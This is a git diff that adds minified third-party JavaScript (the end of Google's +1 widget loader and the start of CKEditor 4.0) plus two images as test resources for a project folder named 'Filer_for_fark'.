+a+"/params/location");if(w)for(var x=0;x<w.length;x++){var A=w[x];t[A]=_.db.location[A]}switch(a){case "plus":t.url=(0,_.Fe)(t.href,f,_.s);delete t.href;break;case "plusone":case "recobox":t.url=f.href?(0,_.qe)(f.href):(0,_.re)();t.db=(0,_.ze)(f.db,_.p,(0,_.O)());t.ecp=(0,_.Ae)(f.ecp,_.p,(0,_.O)());delete t.href;break;case "signin":t.url=(0,_.re)()}t.hl=(0,_.O)("lang")||"en-US";_.Pa.ILI&&(t.iloader="1");delete t["data-onload"];delete t.rd;t.gsrc=(0,_.O)("iframes/:source:");w=(0,_.O)("inl [...]
+"undefined"!==typeof w&&(0<h&&w>=h)&&(t.ic="1");w=/^#|^fr-/;h={};for(var E in t)(0,_.Ca)(t,E)&&w.test(E)&&(h[E.replace(w,"")]=t[E],delete t[E]);E=[].concat(_.bf);w=(0,_.O)("iframes/"+a+"/methods");"object"===typeof w&&_.Ba.test(w.push)&&(E=E.concat(w));for(n in f)if((0,_.Ca)(f,n)&&/^on/.test(n)&&("plus"!=a||"onconnect"!=n))E.push(n),delete t[n];delete t.callback;h._methods=E.join(",");n=(0,_.La)(q,t,h);f.rd?E=c:(E=window.document.createElement("div"),c.setAttribute("data-gapistub",_.r),E [...]
+"position:absolute;width:100px;left:-10000px;",c.parentNode.insertBefore(E,c));E.id||(c=E,(0,_.ta)(_.Ce,a,0),q="___"+a+"_"+_.Ce[a]++,c.id=q);c=(0,_.N)();c[">type"]=a;(0,_.Da)(f,c);E.setAttribute("data-gwattr",(0,_.Ka)(c).join(":"));c=E;E={allowPost:1,attributes:_.cf};E.dontclear=!l;c=(0,_.rd)(n,c,E);l={};l.userParams=f;l.url=n;l.type=a;l.iframeNode=c;l.id=c.getAttribute("id");f=l.id;c=(0,_.N)();c.id=f;c.userParams=l.userParams;c.url=l.url;c.type=l.type;c.state=1;_.he[f]=c;f=l}else f=_.s; [...]
+g.push(l),(0,_.Ze)(a,f))}};_.$e=function(a,c){if(a&&1===a.nodeType&&c)if(_.Ue[c]){if(_.df[a.nodeName.toLowerCase()]){var f=a.innerHTML;return f&&f.replace(/^[\s\xa0]+|[\s\xa0]+$/g,"")?0:1}}else{if(_.Te[c])return 0;if(_.Se[c])return 1}return _.s};_.ef=function(a,c,f,g){_.ff[f]=_.ff[f]||!!g;(0,_.ta)(_.gf,f,[]);_.gf[f].push([a,c])};_.Re=function(a,c,f){var g=_.hf.r;"function"===typeof g?g(a,c,f):g.push([a,c,f])};
+_.jf=function(a,c,f,g){"_p"==c&&(0,_.m)((0,window.Error)("m`_p"));(0,_.kf)(c,f)[a]=g||(new window.Date).getTime();(0,_.Re)(a,c,f)};_.kf=function(a,c){var f=(0,_.ta)(_.lf,a,(0,_.N)());return(0,_.ta)(f,c,(0,_.N)())};_.mf=function(a,c,f){var g=_.s;c&&f&&(g=(0,_.kf)(c,f)[a]);return g||_.Qe[a]};_.nf=function(a){this.t={};this.tick=function(a,f,g){this.t[a]=[g!=_.p?g:(new window.Date).getTime(),f]};this.tick("start",_.s,a)};_.of=function(a,c){this.type=!a?"g":"_p"==a?"m":"w";this.name=a;this.b=c};
+_.pf=function(a){var c=[];c.push("l"+((0,_.O)("isPlusUser")?"1":"0"));var f="m"+(_.qf?"1":"0");c.push(f);if("m"==a.type)c.push("p"+a.b);else if("w"==a.type){var g="n"+a.b;c.push(g);"0"==a.b&&c.push(f+g)}return c};_.rf=function(a,c,f){for(var g=new _.of(c,f),h=(0,_.ta)(_.sf,g.key(),(0,_.N)()),l=_.gf[a]||[],n=0;n<l.length;++n){var q=l[n],t=h,w=q[0],x=a,A=c,E=f,q=(0,_.mf)(q[1],A,E),x=(0,_.mf)(x,A,E);t[w]=q&&x?x-q:_.s}_.ff[a]&&_.tf&&((0,_.uf)(_.vf),(0,_.uf)(g))};
+_.wf=function(a,c){c=c||[];for(var f=[],g=0;g<c.length;g++)f.push(a+c[g]);return f};
+_.uf=function(a){var c=_.db.__gapi_jstiming__;c.sn=_.xf[a.type];var f=new c.Timer(0),g;a:{switch(a.type){case "g":g="global";break a;case "m":g=a.b;break a;case "w":g=a.name;break a}g=_.p}f.name=g;g=_.u;var h=a.key(),l=_.sf[h];f.tick("_start",_.s,0);for(var n in l)f.tick(n,"_start",l[n]),g=_.r;_.sf[h]=(0,_.N)();if(g){n=[];g=(0,_.O)("lexps");n=n.concat((0,_.wf)("e",g));n=n.concat((0,_.wf)("",(0,_.pf)(a)));for(h=0;h<_.yf.length;h++)l=_.yf[h],0<=_.wb.call(g,l)&&(n=n.concat((0,_.wf)(l?"e"+l: [...]
+n=(0,_.wf)("abc_",n);c.report(f,{e:n.join(",")})}};_.zf=function(a){var c=(0,_.O)(a);return"undefined"!==typeof c?c:(0,_.O)("gwidget/"+a)};_.Af=function(a){return function(c){var f=a;"number"===typeof c?f=c:"string"===typeof c&&(f=c.indexOf("px"),-1!=f&&(c=c.substring(0,f)),f=(0,window.parseInt)(c,10));return f}};_.Bf=function(a){"string"===typeof a&&(a=window[a]);return"function"===typeof a?a:_.s};_.Cf=function(a,c,f,g){return _.U.open(a,c,f,g)};
+_.Df=function(a,c){for(var f in _.Ef)if(_.Ef.hasOwnProperty(f)){var g=_.Ef[f][1];g&&!c.hasOwnProperty(g)&&(c[g]=a[g])}return c};_.Ff=function(a,c){var f={},g;for(g in a)a.hasOwnProperty(g)&&(f[a[g][1]||g]=(a[g]&&a[g][0]||_.Gf)(c[g],c,_.Hf));return f};_.Gf=function(a){return a};_.If=function(){};_.Ee=_.s;_.af=/:([a-zA-Z_]+):/g;_.bf="onPlusOne _ready _close,_open _resizeMe _renderstart oncircled".split(" ");_.Ke="inline bubble none only pp vertical-bubble".split(" ");_.Me=["left","right"];
+_.Xe=["style","data-gapiscan"];_.cf={style:"position:absolute;top:-10000px;width:300px;margin:0px;borderStyle:none"};_.df={button:_.r,div:_.r,span:_.r};_.Ve=/(?:^|\s)g-((\S)*)(?:$|\s)/;_.Se=(0,_.ta)(_.Pa,"SW",(0,_.N)());_.Te=(0,_.ta)(_.Pa,"SA",(0,_.N)());_.Ue=(0,_.ta)(_.Pa,"SM",(0,_.N)());_.We=(0,_.ta)(_.Pa,"FW",[]);
+(0,_.ta)(_.fb,"platform",{}).go=_.Pe;_.hf=(0,_.ta)(_.Pa,"perf",(0,_.N)());_.Qe=(0,_.ta)(_.hf,"g",(0,_.N)());_.lf=(0,_.ta)(_.hf,"i",(0,_.N)());(0,_.ta)(_.hf,"r",[]);_.ff=(0,_.N)();_.gf=(0,_.N)();_.Jf=new _.nf;window.__gapi_jstiming__={Timer:_.nf,load:_.Jf};if(window.performance&&window.performance.timing){_.Kf=window.performance.timing;_.Lf=window.__gapi_jstiming__.load;_.Mf=_.Kf.navigationStart;_.Nf=_.Kf.responseStart;0<_.Mf&&_.Nf>=_.Mf&&(_.Lf.tick("_wtsrt",_.p,_.Mf),_.Lf.tick("wtsrt_"," [...]
+try{_.Of=_.s;window.chrome&&window.chrome.csi&&(_.Of=window.Math.floor(window.chrome.csi().pageT),_.Lf&&0<_.Mf&&(_.Lf.tick("_tbnd",_.p,window.chrome.csi().startE),_.Lf.tick("tbnd_","_tbnd",_.Mf)));_.Of==_.s&&window.gtbExternal&&(_.Of=window.gtbExternal.pageT());_.Of==_.s&&window.external&&(_.Of=window.external.pageT,_.Lf&&0<_.Mf&&(_.Lf.tick("_tbnd",_.p,window.external.startE),_.Lf.tick("tbnd_","_tbnd",_.Mf)));_.Of&&(window.__gapi_jstiming__.pt=_.Of)}catch(Pf){};
+if(window.__gapi_jstiming__){window.__gapi_jstiming__.tk={};window.__gapi_jstiming__.ns=1;_.Qf=function(a,c,f){var g=a.t[c],h=a.t.start;if(g&&(h||f))return g=a.t[c][0],f!=_.p?h=f:h=h[0],g-h};window.__gapi_jstiming__.getTick=_.Qf;window.__gapi_jstiming__.getLabels=function(a){var c=[],f;for(f in a.t)c.push(f);return c};_.Rf=function(a,c,f){var g="";window.__gapi_jstiming__.pt&&(g+="&srt="+window.__gapi_jstiming__.pt);try{window.external&&window.external.tran?g+="&tran="+window.external.tr [...]
+window.gtbExternal.tran?g+="&tran="+window.gtbExternal.tran():window.chrome&&window.chrome.csi&&(g+="&tran="+window.chrome.csi().tran)}catch(h){}var l=window.chrome;if(l&&(l=l.loadTimes)){l().wasFetchedViaSpdy&&(g+="&p=s");if(l().wasNpnNegotiated){var g=g+"&npn=1",n=l().npnNegotiatedProtocol;n&&(g+="&npnv="+(window.encodeURIComponent||window.escape)(n))}l().wasAlternateProtocolAvailable&&(g+="&apa=1")}var q=a.t,t=q.start,l=[],n=[],w;for(w in q)if("start"!=w&&0!=w.indexOf("_")){var x=q[w] [...]
+n.push(w+"."+(0,_.Qf)(a,w,q[x][0])):t&&l.push(w+"."+(0,_.Qf)(a,w))}if(c)for(var A in c)g+="&"+A+"="+c[A];(c=f)||(c="https:"==window.document.location.protocol?"https://csi.gstatic.com/csi":"http://csi.gstatic.com/csi");a=[c,"?v=3","&s="+(window.__gapi_jstiming__.sn||"gwidget")+"&action=",a.name,n.length?"&it="+n.join(","):"","",g,"&rt=",l.join(",")].join("");if(!a)return"";var g=new window.Image,E=window.__gapi_jstiming__.ns++;window.__gapi_jstiming__.tk[E]=g;g.onload=g.onerror=function( [...]
+delete window.__gapi_jstiming__.tk[E]};g.src=a;g=_.s;return a};window.__gapi_jstiming__.report=function(a,c,f){if("prerender"==window.document.webkitVisibilityState){var g=_.u,h=function(){if(!g){c?c.prerender="1":c={prerender:"1"};var l;"prerender"==window.document.webkitVisibilityState?l=_.u:((0,_.Rf)(a,c,f),l=_.r);l&&(g=_.r,window.document.removeEventListener("webkitvisibilitychange",h,_.u))}};window.document.addEventListener("webkitvisibilitychange",h,_.u);return""}return(0,_.Rf)(a,c,f)}};
+_.yf=[73,74,77,78];_.xf={g:"gapi_global",m:"gapi_module",w:"gwidget"};_.of.prototype.key=function(){switch(this.type){case "g":return this.type;case "m":return this.type+"."+this.b;case "w":return this.type+"."+this.name+this.b}};_.vf=new _.of;_.qf=window.navigator.userAgent.match(/iPhone|iPad|Android|PalmWebOS|Maemo|Bada/);_.sf=(0,_.ta)(_.hf,"_c",(0,_.N)());_.tf=window.Math.random()<((0,_.O)("csi/rate")||0);(0,_.ef)("blt","bs0","bs1");(0,_.ef)("psi","ps0","ps1");(0,_.ef)("rpcqi","rqe","rqd");
+(0,_.ef)("mli","ml0","ml1");(0,_.ef)("mei","me0","me1",_.r);(0,_.ef)("wci","wrs","wdc");(0,_.ef)("wdi","wrs","wrdi");(0,_.ef)("wdt","bs0","wrdt");(0,_.ef)("wri","wrs","wrri",_.r);(0,_.ef)("wrt","bs0","wrrt");(0,_.ef)("wji","wje0","wje1",_.r);(0,_.ef)("wjli","wjl0","wjl1");(0,_.ef)("whi","wh0","wh1",_.r);_.Sf=_.hf.r;if("function"!==typeof _.Sf){for(_.Tf;_.Tf=_.Sf.shift();)_.rf.apply(_.s,_.Tf);_.hf.r=_.rf};
+_.Vf=["div"];_.Wf="onload";_.Xf=_.r;_.Hf=_.s;_.Hf=(0,_.O)();(0,_.O)("gwidget");_.Yf=(0,_.zf)("parsetags");_.Wf="explicit"===_.Yf||"onload"===_.Yf?_.Yf:_.Wf;_.Zf=(0,_.zf)("google_analytics");"undefined"!==typeof _.Zf&&(_.Xf=!!_.Zf);_.$f={};_.$f.width=[(0,_.Af)(450)];_.$f.height=[(0,_.Af)(24)];_.$f.callback=[_.Bf];_.$f.onready=[_.Bf];_.$f.lang=[function(){return(0,_.zf)("lang")||"en-US"},"hl"];_.$f.iloader=[function(){return _.Pa.ILI},"iloader"];_.Ef=_.$f;
+_.Uf={Ga:function(a){function c(a){for(var c={},f=0;f<a.length;++f)c[a[f].toLowerCase()]=1;c[h.mt]=1;h.Dr=c}function f(){"onload"===_.Wf&&q.go()}var g,h={};h.Ib=a[0];h.Pj=-1;h.vn="___"+h.Ib+"_";h.mt="g:"+h.Ib;h.Qv="g-"+h.Ib;h.Hm=[];h.Ja={};h.Dh=[];h.Uh=[];a[1]&&(h.Zr=a[1]);h.Ja=a[2]||{};for(var l in _.Ef)_.Ef.hasOwnProperty(l)&&!h.Ja.hasOwnProperty(l)&&(h.Ja[l]=_.Ef[l]);a[3]&&(h.Dh=a[3]);a[4]&&c(a[4]);a[5]&&(h.re=a[5]);h.gw=a[7]===_.r;h.ds=a[8];h.Dr||c(_.Vf);if(a=a[6])if("number"==typeof [...]
+a;for(var n=a.length-1;0<=n;--n)h.Ja[a[n]]=[_.Bf]}else for(n in a)a.hasOwnProperty(n)&&!h.Ja.hasOwnProperty(n)&&(h.Uh.push(n),h.Ja[n]=a[n]);h.fj=function(a){function c(){Gs||(Gs=_.r,f(),Hs&&(0,_.jf)("wrrt",pc,qc),(0,_.jf)("wrri",pc,qc))}function f(){Is||(Is=_.r,cc.ca(),Hs&&(0,_.jf)("wrdt",pc,qc),(0,_.jf)("wrdi",pc,qc))}function g(a){a=a||cc;var c=(0,_.Rd)(cc,a.width);c&&Mi.style.width!=c.pd&&(Mi.style.width=c.pd);if((a=(0,_.Rd)(cc,a.height))&&Mi.style.height!=a.pd)Mi.style.height=a.pd}h. [...]
+h.Ib,(0,window.String)(h.Pj));var l=[];h.re&&(l[0]=a.element,l[1]=a.Vg,h.re("s",l),a.Vg=l[1]);var n=a.element,q=n.parentNode,t=a.Ja;if(0===a.Vg){var qa=window.document.createElement("div");q.insertBefore(qa,n);q.removeChild(n);n=qa}qa=n.style;if(n.id){if(0===n.id.indexOf(h.vn)){var fa=n.nextSibling;fa&&(fa.getAttribute&&fa.getAttribute("data-gapistub"))&&q.removeChild(fa);qa.cssText=""}}else{var q=n,fa=h.vn,ka=h.Ib,yb=(0,_.Ra)();window.Object.prototype.hasOwnProperty.call(yb,ka)||(yb[ka] [...]
+yb[ka];yb[ka]=Ni+1;q.id=fa+Ni}t.height&&(qa.height=t.height+"px");t.width&&(qa.width=t.width+"px");qa.display||(qa.display="inline-block");(0,_.le)(n);var je=":"+h.Ib;":plus"==je&&(a.qe&&a.qe.action)&&(je+="_"+a.qe.action);var qa={},q=h.Dh[0],fa=t.callback,dc=h.Dh[1];if(dc&&_.Xf)var QB=fa||(0,_.v)(),fa=function(a){var c=dc(a);if(c&&window._gat)try{var f=window._gat._getTrackerByName("~0");f&&"UA-XXXXX-X"!=f._getAccount()?f._trackSocial("Google",c,a.href||_.s):window._gaq&&window._gaq.pus [...]
+"Google",c,a.href||_.s])}catch(g){}QB(a)};q&&fa&&(qa[q]=fa);q=h.Uh;for(fa=q.length-1;0<=fa;--fa){var Dc=q[fa];(ka=t[Dc])&&(qa[Dc]=ka)}q={};for(Dc in a.qe)a.qe[Dc]!=_.s&&(q[Dc]=a.qe[Dc]);Dc={container:n.id,renderData:a.ms,style:"inline",height:t.height,width:t.width};if(!_.U.va("attach")){var fa={},Oi=_.U.va("inline"),Pi;for(Pi in Oi)Oi.hasOwnProperty(Pi)&&(fa[Pi]=Oi[Pi]);fa.open=function(a){var c=window.document.getElementById(a.ya.renderData.id);c||(0,_.m)((0,window.Error)("n"));return [...]
+c)};_.U.oa("attach",fa)}Dc.style="attach";h.re&&(l[2]=Dc,l[3]=q,l[4]=qa,h.re("i",l),a.Vg=l[1]);var cc=function(a){var c=_.Cf.apply(_.s,[je].concat([].slice.call(arguments,0)));if(t.onready){var f=_.u,g=function(){f||(f=_.r,t.onready.call(_.s))};c.ea("ready",g);c.ea("renderstart",g)}(0,_.If)(c);return c}(Dc,q,qa),Mi=n;cc.ea("ready",g);cc.ea("renderstart",g);cc.ea("resize",g);var Hs=a.Ip,pc=h.Ib,qc=(0,window.String)(h.Pj),Is=_.u;cc.ea("renderstart",f);var Gs=_.u;cc.ea("ready",c);_.S.S("wid [...]
+cc.id,c);_.S.S("widget-csi-tick-"+cc.id,function(a,c,f){"wdc"===a||"wci"===a?(0,_.jf)("wdc",pc,qc,f):"wje0"===a||"wji_"===a?(0,_.jf)("wje0",pc,qc,f):"wje1"===a||"wji"===a?(0,_.jf)("wje1",pc,qc,f):"wh0"==a?((0,_.kf)(pc,qc).wh0=f||(new window.Date).getTime(),(0,_.Re)("wh0",pc,qc)):"wh1"==a&&((0,_.kf)(pc,qc).wh1=f||(new window.Date).getTime(),(0,_.Re)("wh1",pc,qc))});l[5]=cc;h.re&&h.re("e",l)};g=h;if(n=g.ds)for(a=0;a<n.length;a++)(new window.Image).src=n[a];(0,_.wd)(g.Ib,function(a){var c=a [...]
+f=a.iframeNode;if((f=f&&f.parentNode)&&1===f.nodeType){f.removeAttribute("data-gwattr");var h=(0,_.Ff)(g.Ja,c);g.Hm.push({element:f,Ja:h,qe:(0,_.Df)(h,(0,_.Ff)(g.Zr,c)),Vg:3,Ip:!!c["data-onload"],ms:a})}a=g.Hm;for(c=g.fj;0<a.length;)c(a.shift())});_.Se[g.Ib]=_.r;var q={J:function(a,c){var f=c||{};f.type=g.Ib;var h=f.type;delete f.type;var l=("string"===typeof a?window.document.getElementById(a):a)||_.p,n={},q;for(q in f)(0,_.Ca)(f,q)&&(n[q.toLowerCase()]=f[q]);n.rd=1;(0,_.Ye)(h,l,n,[],0) [...]
+
+_.iv=(window.gapi||{}).load;
+_.U.uj("bubble",function(a){(0,_.iv)("iframes-styles-bubble",a)});
+_.U.uj("slide-menu",function(a){(0,_.iv)("iframes-styles-slide-menu",a)});
+
+_.Xw=function(a,c,f){a=(0,_.Je)(a);c=(0,_.we)(c);if(""!=a){if("inline"==a||"only"==a)return a=450,f.width&&(a=120<f.width?f.width:120),{width:a,height:_.xe[c]["false"].height};if("bubble"!=a){if("none"==a)return _.xe[c]["false"];if("pp"==a)return _.Yw}}return _.xe[c]["true"]};_.Yw={width:180,height:35};_.Zw={"0":"plusone"};_.$w=(0,_.O)("iframes/plusone/preloadUrl");_.$w&&(_.Zw[8]=_.$w);(0,_.Ne)(_.Be);_.Zw[1]=_.Be;
+_.Zw[2]={width:[function(a,c){return c.annotation?(0,_.Xw)(c.annotation,c.size,c).width:_.xe[(0,_.we)(c.size)][(0,_.ye)(c.count,c.size)].width}],height:[function(a,c){return c.annotation?(0,_.Xw)(c.annotation,c.size,c).height:_.xe[(0,_.we)(c.size)][(0,_.ye)(c.count,c.size)].height}]};_.Zw[3]=["onPlusOne",function(a){return"on"==a.state?"+1":_.s}];_.Zw[4]=["div","button"];_.Zw[6]=["onstartinteraction","onendinteraction","onpopup"];_.mb=_.nb=_.Uf.Ga(_.Zw);
+(0,_.P)("gapi.plusone.render",_.nb.J);(0,_.P)("gapi.plusone.go",_.nb.go);(0,_.P)("googleapisv0.plusone.render",_.mb.J);(0,_.P)("googleapisv0.plusone.go",_.mb.go);
+});
+
+// Copyright 2002-2013 Google Inc.
diff --git a/src/test/resources/s/Filer_for_fark/chicagotrib.jpg b/src/test/resources/s/Filer_for_fark/chicagotrib.jpg
new file mode 100644
index 0000000..6bf3ea8
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/chicagotrib.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/citypages.jpg b/src/test/resources/s/Filer_for_fark/citypages.jpg
new file mode 100644
index 0000000..51a4433
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/citypages.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/ckeditor.js b/src/test/resources/s/Filer_for_fark/ckeditor.js
new file mode 100644
index 0000000..4148fe6
--- /dev/null
+++ b/src/test/resources/s/Filer_for_fark/ckeditor.js
@@ -0,0 +1,582 @@
+/*
+Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
+For licensing, see LICENSE.html or http://ckeditor.com/license
+*/
+(function(){if(window.CKEDITOR&&window.CKEDITOR.dom)return;window.CKEDITOR||(window.CKEDITOR=function(){var b={timestamp:"CAPD",version:"4.0",revision:"769d96134b",rnd:Math.floor(900*Math.random())+100,_:{pending:[]},status:"unloaded",basePath:function(){var a=window.CKEDITOR_BASEPATH||"";if(!a)for(var b=document.getElementsByTagName("script"),d=0;d<b.length;d++){var c=b[d].src.match(/(^|.*[\\\/])ckeditor(?:_basic)?(?:_source)?.js(?:\?.*)?$/i);if(c){a=c[1];break}}-1==a.indexOf(":/")&&(a= [...]
+a);if(!a)throw'The CKEditor installation path could not be automatically detected. Please set the global variable "CKEDITOR_BASEPATH" before creating editor instances.';return a}(),getUrl:function(a){-1==a.indexOf(":/")&&0!==a.indexOf("/")&&(a=this.basePath+a);this.timestamp&&("/"!=a.charAt(a.length-1)&&!/[&?]t=/.test(a))&&(a+=(0<=a.indexOf("?")?"&":"?")+"t="+this.timestamp);return a},domReady:function(){function a(){try{document.addEventListener?(document.removeEventListener("DOMContent [...]
+!1),b()):document.attachEvent&&"complete"===document.readyState&&(document.detachEvent("onreadystatechange",a),b())}catch(d){}}function b(){for(var a;a=d.shift();)a()}var d=[];return function(b){d.push(b);"complete"===document.readyState&&setTimeout(a,1);if(1==d.length)if(document.addEventListener)document.addEventListener("DOMContentLoaded",a,!1),window.addEventListener("load",a,!1);else if(document.attachEvent){document.attachEvent("onreadystatechange",a);window.attachEvent("onload",a) [...]
+!window.frameElement}catch(e){}if(document.documentElement.doScroll&&b){var c=function(){try{document.documentElement.doScroll("left")}catch(b){setTimeout(c,1);return}a()};c()}}}}()},c=window.CKEDITOR_GETURL;if(c){var a=b.url;b.url=function(f){return c.call(b,f)||a.call(b,f)}}return b}());
+CKEDITOR.event||(CKEDITOR.event=function(){},CKEDITOR.event.implementOn=function(b){var c=CKEDITOR.event.prototype,a;for(a in c)b[a]==void 0&&(b[a]=c[a])},CKEDITOR.event.prototype=function(){function b(f){var b=c(this);return b[f]||(b[f]=new a(f))}var c=function(a){a=a.getPrivate&&a.getPrivate()||a._||(a._={});return a.events||(a.events={})},a=function(a){this.name=a;this.listeners=[]};a.prototype={getListenerIndex:function(a){for(var b=0,d=this.listeners;b<d.length;b++)if(d[b].fn==a)ret [...]
+return{define:function(a,e){var d=b.call(this,a);CKEDITOR.tools.extend(d,e,true)},on:function(a,e,d,c,k){function h(b,o,n,m){b={name:a,sender:this,editor:b,data:o,listenerData:c,stop:n,cancel:m,removeListener:l};return e.call(d,b)===false?false:b.data}function l(){n.removeListener(a,e)}var m=b.call(this,a);if(m.getListenerIndex(e)<0){m=m.listeners;d||(d=this);isNaN(k)&&(k=10);var n=this;h.fn=e;h.priority=k;for(var o=m.length-1;o>=0;o--)if(m[o].priority<=k){m.splice(o+1,0,h);return{remove [...]
+once:function(){var a=arguments[1];arguments[1]=function(b){b.removeListener();return a.apply(this,arguments)};return this.on.apply(this,arguments)},capture:function(){CKEDITOR.event.useCapture=1;var a=this.on.apply(this,arguments);CKEDITOR.event.useCapture=0;return a},fire:function(){var a=0,b=function(){a=1},d=0,g=function(){d=1};return function(k,h,l){var m=c(this)[k],k=a,n=d;a=d=0;if(m){var o=m.listeners;if(o.length)for(var o=o.slice(0),i,q=0;q<o.length;q++){if(m.errorProof)try{i=o[q [...]
+l,h,b,g)}catch(y){}else i=o[q].call(this,l,h,b,g);i===false?d=1:typeof i!="undefined"&&(h=i);if(a||d)break}}h=d?false:typeof h=="undefined"?true:h;a=k;d=n;return h}}(),fireOnce:function(a,b,d){b=this.fire(a,b,d);delete c(this)[a];return b},removeListener:function(a,b){var d=c(this)[a];if(d){var g=d.getListenerIndex(b);g>=0&&d.listeners.splice(g,1)}},removeAllListeners:function(){var a=c(this),b;for(b in a)delete a[b]},hasListeners:function(a){return(a=c(this)[a])&&a.listeners.length>0}}}());
+CKEDITOR.editor||(CKEDITOR.editor=function(){CKEDITOR._.pending.push([this,arguments]);CKEDITOR.event.call(this)},CKEDITOR.editor.prototype.fire=function(b,c){b in{instanceReady:1,loaded:1}&&(this[b]=true);return CKEDITOR.event.prototype.fire.call(this,b,c,this)},CKEDITOR.editor.prototype.fireOnce=function(b,c){b in{instanceReady:1,loaded:1}&&(this[b]=true);return CKEDITOR.event.prototype.fireOnce.call(this,b,c,this)},CKEDITOR.event.implementOn(CKEDITOR.editor.prototype,!0));
+CKEDITOR.env||(CKEDITOR.env=function(){var b=navigator.userAgent.toLowerCase(),c=window.opera,a={ie:eval("/*@cc_on!@*/false"),opera:!!c&&c.version,webkit:b.indexOf(" applewebkit/")>-1,air:b.indexOf(" adobeair/")>-1,mac:b.indexOf("macintosh")>-1,quirks:document.compatMode=="BackCompat",mobile:b.indexOf("mobile")>-1,iOS:/(ipad|iphone|ipod)/.test(b),isCustomDomain:function(){if(!this.ie)return false;var a=document.domain,b=window.location.hostname;return a!=b&&a!="["+b+"]"},secure:location. [...]
+"https:"};a.gecko=navigator.product=="Gecko"&&!a.webkit&&!a.opera;if(a.webkit)b.indexOf("chrome")>-1?a.chrome=true:a.safari=true;var f=0;if(a.ie){f=a.quirks||!document.documentMode?parseFloat(b.match(/msie (\d+)/)[1]):document.documentMode;a.ie9Compat=f==9;a.ie8Compat=f==8;a.ie7Compat=f==7;a.ie6Compat=f<7||a.quirks}if(a.gecko){var e=b.match(/rv:([\d\.]+)/);if(e){e=e[1].split(".");f=e[0]*1E4+(e[1]||0)*100+(e[2]||0)*1}}a.opera&&(f=parseFloat(c.version()));a.air&&(f=parseFloat(b.match(/ ado [...]
+a.webkit&&(f=parseFloat(b.match(/ applewebkit\/(\d+)/)[1]));a.version=f;a.isCompatible=a.iOS&&f>=534||!a.mobile&&(a.ie&&f>6||a.gecko&&f>=10801||a.opera&&f>=9.5||a.air&&f>=1||a.webkit&&f>=522||false);a.cssClass="cke_browser_"+(a.ie?"ie":a.gecko?"gecko":a.opera?"opera":a.webkit?"webkit":"unknown");if(a.quirks)a.cssClass=a.cssClass+" cke_browser_quirks";if(a.ie){a.cssClass=a.cssClass+(" cke_browser_ie"+(a.quirks||a.version<7?"6":a.version));if(a.quirks)a.cssClass=a.cssClass+" cke_browser_ie [...]
+f<10900)a.cssClass=a.cssClass+" cke_browser_gecko18";if(a.air)a.cssClass=a.cssClass+" cke_browser_air";return a}());
+"unloaded"==CKEDITOR.status&&function(){CKEDITOR.event.implementOn(CKEDITOR);CKEDITOR.loadFullCore=function(){if(CKEDITOR.status!="basic_ready")CKEDITOR.loadFullCore._load=1;else{delete CKEDITOR.loadFullCore;var b=document.createElement("script");b.type="text/javascript";b.src=CKEDITOR.basePath+"ckeditor.js";document.getElementsByTagName("head")[0].appendChild(b)}};CKEDITOR.loadFullCoreTimeout=0;CKEDITOR.add=function(b){(this._.pending||(this._.pending=[])).push(b)};(function(){CKEDITOR. [...]
+CKEDITOR.loadFullCore,c=CKEDITOR.loadFullCoreTimeout;if(b){CKEDITOR.status="basic_ready";b&&b._load?b():c&&setTimeout(function(){CKEDITOR.loadFullCore&&CKEDITOR.loadFullCore()},c*1E3)}})})();CKEDITOR.status="basic_loaded"}();CKEDITOR.dom={};
+(function(){var b=[],c=CKEDITOR.env.gecko?"-moz-":CKEDITOR.env.webkit?"-webkit-":CKEDITOR.env.opera?"-o-":CKEDITOR.env.ie?"-ms-":"";CKEDITOR.on("reset",function(){b=[]});CKEDITOR.tools={arrayCompare:function(a,b){if(!a&&!b)return true;if(!a||!b||a.length!=b.length)return false;for(var e=0;e<a.length;e++)if(a[e]!=b[e])return false;return true},clone:function(a){var b;if(a&&a instanceof Array){b=[];for(var e=0;e<a.length;e++)b[e]=this.clone(a[e]);return b}if(a===null||typeof a!="object"||a [...]
+String||a instanceof Number||a instanceof Boolean||a instanceof Date||a instanceof RegExp)return a;b=new a.constructor;for(e in a)b[e]=this.clone(a[e]);return b},capitalize:function(a){return a.charAt(0).toUpperCase()+a.substring(1).toLowerCase()},extend:function(a){var b=arguments.length,e,d;if(typeof(e=arguments[b-1])=="boolean")b--;else if(typeof(e=arguments[b-2])=="boolean"){d=arguments[b-1];b=b-2}for(var c=1;c<b;c++){var k=arguments[c],h;for(h in k)if(e===true||a[h]==void 0)if(!d||h [...]
+k[h]}return a},prototypedCopy:function(a){var b=function(){};b.prototype=a;return new b},isArray:function(a){return!!a&&a instanceof Array},isEmpty:function(a){for(var b in a)if(a.hasOwnProperty(b))return false;return true},cssVendorPrefix:function(a,b,e){if(e)return c+a+":"+b+";"+a+":"+b;e={};e[a]=b;e[c+a]=b;return e},cssStyleToDomStyle:function(){var a=document.createElement("div").style,b=typeof a.cssFloat!="undefined"?"cssFloat":typeof a.styleFloat!="undefined"?"styleFloat":"float";r [...]
+"float"?b:a.replace(/-./g,function(a){return a.substr(1).toUpperCase()})}}(),buildStyleHtml:function(a){for(var a=[].concat(a),b,e=[],c=0;c<a.length;c++)if(b=a[c])/@import|[{}]/.test(b)?e.push("<style>"+b+"</style>"):e.push('<link type="text/css" rel=stylesheet href="'+b+'">');return e.join("")},htmlEncode:function(a){return(""+a).replace(/&/g,"&").replace(/>/g,">").replace(/</g,"<")},htmlEncodeAttr:function(a){return a.replace(/"/g,""").replace(/</g,"<").replace(/>/g," [...]
+0;return function(){return++a}}(),getNextId:function(){return"cke_"+this.getNextNumber()},override:function(a,b){var e=b(a);e.prototype=a.prototype;return e},setTimeout:function(a,b,e,c,g){g||(g=window);e||(e=g);return g.setTimeout(function(){c?a.apply(e,[].concat(c)):a.apply(e)},b||0)},trim:function(){var a=/(?:^[ \t\n\r]+)|(?:[ \t\n\r]+$)/g;return function(b){return b.replace(a,"")}}(),ltrim:function(){var a=/^[ \t\n\r]+/g;return function(b){return b.replace(a,"")}}(),rtrim:function(){ [...]
